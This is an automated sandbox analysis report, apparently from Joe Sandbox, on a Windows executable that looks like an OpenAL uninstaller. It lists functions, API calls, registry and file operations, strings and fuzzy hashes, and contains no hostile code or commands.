Instruction ID: ac5fc790647b7cc1d60a7a7b885733366f118062beb6acb572a5e0dc93f00a71
Opcode Fuzzy Hash: 6ab7ac2fdbb28c85d7a1fc4f1ed848413e556c22d56f6d746e2ebbc0fcb6018b
Instruction Fuzzy Hash: DAD0A73431590366CB101B318C0445B7E98EF403507444A3AF429D00F0EB3CC4419E1A

Function 00405F89 Relevance: 4.5, APIs: 3, Instructions: 16
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,0040146F,00000000), ref: 00405F8D
GetLastError.KERNEL32 ref: 00405F97
__dosmaperr.LIBCMT ref: 00405FA6

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID:
API String ID: 1545401867-0
Opcode ID: 4d713c3956e36940d90eb4b8d669c22184bf4b479e888332578c5b35d260a8c8
Instruction ID: 0918d6da528ba2f8a64f12ee9436bba51f1a72935256682cd7e35671feec9510
Opcode Fuzzy Hash: 4d713c3956e36940d90eb4b8d669c22184bf4b479e888332578c5b35d260a8c8
Instruction Fuzzy Hash: AFD01374115D0396DB5117325C0851B77549F847157544575F425E00D0EF7CD840F91E

Function 00407374 Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00406B37,00000001), ref: 00407385
HeapDestroy.KERNEL32 ref: 004073BB

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: de3e740c281341a76b7b3a7092f51c543d62d66ec31ba947b74242f2beeb49ac
Instruction ID: e2f9d4b26dd6225ce58093e198d23073f982fe7e472a891475b7a5330052c768
Opcode Fuzzy Hash: de3e740c281341a76b7b3a7092f51c543d62d66ec31ba947b74242f2beeb49ac
Instruction Fuzzy Hash: D8E03030A29311DBFB505B735C0532A3A98E754396F00D87AFC01D51D4F7789551EB2E

Function 00408870 Relevance: 3.0, APIs: 2, Instructions: 5
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00408874

Part of subcall function 0040884A: GetModuleHandleA.KERNEL32(mscoree.dll,00408879,?,00407545,000000FF,0000001E,00420370,0000000C,004075EF,?,?,?,00407036,00000004,00420350,0000000C), ref: 0040884F
Part of subcall function 0040884A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040885F

ExitProcess.KERNEL32 ref: 0040887E

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: d6d55c658628a1adab4f47b5f9be56343fe471f32e2e7bfcaa733b0a1d6d4f5f
Instruction ID: e2b1dccab6a768b3e83939d37afea85d151f09ac9c86ba118686fa1ed553dabb
Opcode Fuzzy Hash: d6d55c658628a1adab4f47b5f9be56343fe471f32e2e7bfcaa733b0a1d6d4f5f
Instruction Fuzzy Hash: CCB00236044111EAD6052B11DE0A4597B62BB44715B50993DF48954072DB755C50AA05

Function 00406312 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__fsopen.LIBCMT ref: 0040631C

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 2944bcf569b94e2b44a73485ac56fc0f61e1c0f057e6f4bc3992d41405ae1331
Instruction ID: 612761f20ecaa7f2f2fb79d457e0f84d4a9cef729af9857356f7fe3e9158bfeb
Opcode Fuzzy Hash: 2944bcf569b94e2b44a73485ac56fc0f61e1c0f057e6f4bc3992d41405ae1331
Instruction Fuzzy Hash: FDB012758042007EDA012701AC02B0977517B80710F81C46CBF9D200A0923A8134960B

Function 00408BC4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00408BCC

Part of subcall function 00408AF6: __lock.LIBCMT ref: 00408B04
Part of subcall function 00408AF6: __decode_pointer.LIBCMT ref: 00408B33
Part of subcall function 00408AF6: __decode_pointer.LIBCMT ref: 00408B40

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: __decode_pointer$__lock_doexit
String ID:
API String ID: 3276244213-0
Opcode ID: 44ea3af290a5c0fced421c48bee69f607f8ea4075bd654cc3defe53151bfea1d
Instruction ID: cadfae50462c62784c197d091861f6296fd1002e69575fb3caa4eddf846bf28e
Opcode Fuzzy Hash: 44ea3af290a5c0fced421c48bee69f607f8ea4075bd654cc3defe53151bfea1d
Instruction Fuzzy Hash: C9A0243174030035D51011007C03F0533001750F00FF0403D7544340D355F51114540F

Non-executed Functions

Function 004111EA Relevance: 66.4, APIs: 44, Instructions: 431COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 0041121F
___getlocaleinfo.LIBCMT ref: 00411234
___getlocaleinfo.LIBCMT ref: 00411249
___getlocaleinfo.LIBCMT ref: 0041125E
___getlocaleinfo.LIBCMT ref: 00411276
___getlocaleinfo.LIBCMT ref: 0041128B
___getlocaleinfo.LIBCMT ref: 0041129D
___getlocaleinfo.LIBCMT ref: 004112B2
___getlocaleinfo.LIBCMT ref: 004112CA
___getlocaleinfo.LIBCMT ref: 004112DF

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 6ea96d88b46726e790aae51267288c3ee6a2415a07b8f05c24a6e32adb7b9c78
Instruction ID: 5ad9f1f4aa75b754542f7a5233c4ea0e5a4236ef8ff537e21b4c6e1e6f9e3ded
Opcode Fuzzy Hash: 6ea96d88b46726e790aae51267288c3ee6a2415a07b8f05c24a6e32adb7b9c78
Instruction Fuzzy Hash: 56E1B1B290021EBEEB11DAE2CC41EFF77BEEB04748F04093AF255E2051E975AB159764

Function 004064A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040A31C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A331
UnhandledExceptionFilter.KERNEL32(XGB), ref: 0040A33C
GetCurrentProcess.KERNEL32(C0000409), ref: 0040A358
TerminateProcess.KERNEL32(00000000), ref: 0040A35F

Strings

XGB, xrefs: 0040A337

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: XGB
API String ID: 2579439406-3120848740
Opcode ID: f8019e681d4ec251beea284ebdbdc7b0cd0f847459011d484baee61153c55337
Instruction ID: fb299b6b4d8fa6fb92058f1959a5b6b098c62f9cc3ec9ce916682a8ffe761e99
Opcode Fuzzy Hash: f8019e681d4ec251beea284ebdbdc7b0cd0f847459011d484baee61153c55337
Instruction Fuzzy Hash: 5821EDBCA20384AFD760EF66F9446443BE0FB88300F91403AE918972A0E7B44582CF0D

Function 004037BC Relevance: 3.1, Strings: 2, Instructions: 613COMMON

Download Yara Rule

Strings

invalid bit length repeat, xrefs: 00403DB7
too many length or distance symbols, xrefs: 00403E6C

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$too many length or distance symbols
API String ID: 0-3104966124
Opcode ID: c437cabdd9eb31c8f181ef265f302175f0ceaaf361a76680e106901b795eb68f
Instruction ID: 8b917e3292843c0c4db4f133ced34072ae4f5355c6aba38e0b239a53db69e86a
Opcode Fuzzy Hash: c437cabdd9eb31c8f181ef265f302175f0ceaaf361a76680e106901b795eb68f
Instruction Fuzzy Hash: F65224B5A01218EFCB14CF58D980A9DBBB6FF48310F14815AEC59AB356D735EA42CF90

Function 00413937 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(Function_0001359E), ref: 00413950

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 156271965c524ffebf06765a1df6773ff1b906eec91398f731a0d28e4b73ad9c
Instruction ID: 7ee10449aae9531f129a8036e64df2e2b5b675dda7597fb3242f2efb5f09a53f
Opcode Fuzzy Hash: 156271965c524ffebf06765a1df6773ff1b906eec91398f731a0d28e4b73ad9c
Instruction Fuzzy Hash: FDD05EB08097458BD7248F12C848381FBF0BB14B1AF68C99CC54E16142C7BEE2C5CB48

Function 0041622A Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: c3aaa0872a26d08010d7b1d0bf4397ffa1078949fc8966ceb052882b60980d16
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 2CD17E73D0E9B34A8735812D50682BBEE626FD165131FC3E29CE43F38DD62A9D8096D4

Function 00415E0A Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 9ee320ba9f833c9c00c4a46e376a93b9417a02bff9d0d9ce4a2cb2e05c5eee9c
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: C7D19F73D1E9B38A8735812D50582BBEE626FD174031FC3E28CE43F389D62A9D8196D4

Function 004159FE Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 82dc4f6c3eeaeffba0c19c93fc9acb4bb8fc580a2ea9f8aa3947d1b4b67d12f4
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 24C17E73D0EDB38A8775812D50582EBEE626FD179131FC3E28CD42F389D26A5D8096D4

Function 0041562A Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: e87b556ddb3d556376350a8b3c19b9aa8c8a05d6d35d972f2588f60fc6518cd9
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 49C19073D1EDB38A8735812D50586EBEF626FD175032EC3E28CE42F389D22A5D8196D4

Function 007CA152 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2217287441.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, Offset: 007C6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7c6000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d6f116a345b71086e8b912b029713a458bc08bac80747035a20a3e844e5475e
Instruction ID: 8f5efce6ae7df52168799474e151977121396aed56637c9b5efb0d43f25f7b89
Opcode Fuzzy Hash: 7d6f116a345b71086e8b912b029713a458bc08bac80747035a20a3e844e5475e
Instruction Fuzzy Hash: 4F412A8508E3C52FC34787B45829A61BFB12A9326674F82DFD4C49F5B7D2894849D323

Function 004018E0 Relevance: 54.5, APIs: 23, Strings: 8, Instructions: 214registryfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00401925
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 00401950
RegQueryValueExA.ADVAPI32(00000000,ProgramFilesDir,00000000,?,?,?), ref: 00401975
GetFileAttributesA.KERNEL32(?,00000000), ref: 00401A0B
DeleteFileA.KERNEL32(?), ref: 00401A17
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401A29
GetFileAttributesA.KERNEL32(?), ref: 00401A40
RemoveDirectoryA.KERNEL32(?), ref: 00401A4F
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401A64
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,0041E334,00000000,000F003F,00000000,?,?), ref: 00401A97
RegDeleteKeyA.ADVAPI32(?,OpenAL), ref: 00401AAB
RegCloseKey.ADVAPI32(?), ref: 00401AB6
RegCloseKey.ADVAPI32(?), ref: 00401AC5
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\OpenAL,00000000,000F003F,?), ref: 00401AE1
RegDeleteKeyA.ADVAPI32(?,RefCount), ref: 00401AF1
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE,00000000,000F003F,?), ref: 00401B0D
RegDeleteKeyA.ADVAPI32(00000104,OpenAL), ref: 00401B1E
GetFileAttributesA.KERNEL32(?), ref: 00401B2B
DeleteFileA.KERNEL32(?), ref: 00401B33
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401B41
GetFileAttributesA.KERNEL32(?), ref: 00401B52
DeleteFileA.KERNEL32(?), ref: 00401B5A
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401B68

Strings

RefCount, xrefs: 00401AEB
SOFTWARE\OpenAL, xrefs: 00401AD7
SOFTWARE, xrefs: 00401B03
OpenAL, xrefs: 00401AA5, 00401B18
ProgramFilesDir, xrefs: 0040196F
SOFTWARE\Microsoft\Windows\CurrentVersion, xrefs: 00401946
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00401A8D
\OpenAL, xrefs: 0040199A

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$Delete$AttributesMove$Open$Close$CreateDirectoryModuleNameQueryRemoveValue
String ID: OpenAL$ProgramFilesDir$RefCount$SOFTWARE$SOFTWARE\Microsoft\Windows\CurrentVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall$SOFTWARE\OpenAL$\OpenAL
API String ID: 2086630714-619269330
Opcode ID: fa07043cdbda84f832fc4b15492b7137ad5a5fedbf646c692e1d9c8980d6f786
Instruction ID: bf595d3d2e488e35ae31db8a26bf7e7c79edf02a42ed1790ecd76618f4c26380
Opcode Fuzzy Hash: fa07043cdbda84f832fc4b15492b7137ad5a5fedbf646c692e1d9c8980d6f786
Instruction Fuzzy Hash: E171E375204301ABD320DB61CC45FEB7BE8AF88714F148A2DFA55A72D0E778E504CB6A

Function 0040BFE7 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,00406B49), ref: 0040BFED
__mtterm.LIBCMT ref: 0040BFF9

Part of subcall function 0040BCC5: __decode_pointer.LIBCMT ref: 0040BCD6
Part of subcall function 0040BCC5: TlsFree.KERNEL32(00000003,0040C166), ref: 0040BCF0

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0040C00F
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0040C01C
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0040C029
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0040C036
TlsAlloc.KERNEL32 ref: 0040C086
TlsSetValue.KERNEL32(00000000), ref: 0040C0A1
__init_pointers.LIBCMT ref: 0040C0AB
